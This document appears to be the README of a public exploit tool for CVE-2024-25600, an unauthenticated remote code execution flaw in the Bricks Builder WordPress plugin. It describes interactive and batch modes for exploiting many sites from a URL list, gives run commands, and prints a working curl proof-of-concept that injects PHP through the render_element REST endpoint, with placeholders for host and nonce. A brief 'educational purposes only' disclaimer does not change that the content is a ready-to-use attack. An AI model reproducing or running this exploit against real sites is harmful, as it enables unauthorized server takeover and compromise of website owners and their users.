This tool 🛠️ is designed to exploit the CVE-2024-25600 vulnerability 🕳️ found in the Bricks Builder plugin for WordPress. The vulnerability allows for unauthenticated remote code execution on affected websites 💻. The tool automates the exploitation process by retrieving nonces and sending specially crafted requests to execute arbitrary commands.

• Interactive Mode: Engage with the target website in real-time 🕹️.
• Batch Mode: Scan and exploit multiple websites from a list 📋.
• Command Execution: Execute arbitrary commands on the target server ⚙️.

1. Clone this repository to your local machine 🖥️ using git clone.
2. Navigate to the directory of the cloned repository.
3. Install the required Python libraries using pip install -r requirements.txt.

1. Run the tool with python exploit.py -u <URL> to start interactive mode.
2. Follow the on-screen prompts to send commands to the target server.

1. Prepare a text file with a list of target URLs.
2. Run the tool with python exploit.py -l <file_path> to scan and exploit the listed sites.

The base PoC provided by the disclosure is as follows:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Replace [HOST] with the target website and [NONCE] with the nonce value retrieved from the site.

For more information about the CVE-2024-25600 vulnerability, please refer to the detailed disclosure at Snicco.io.

The information provided in this README is for educational purposes only. Unauthorized hacking into websites or networks is illegal and unethical. 🚫

Kudos to the security researchers who discovered and reported this vulnerability, providing the community with information and tools to help secure their web applications.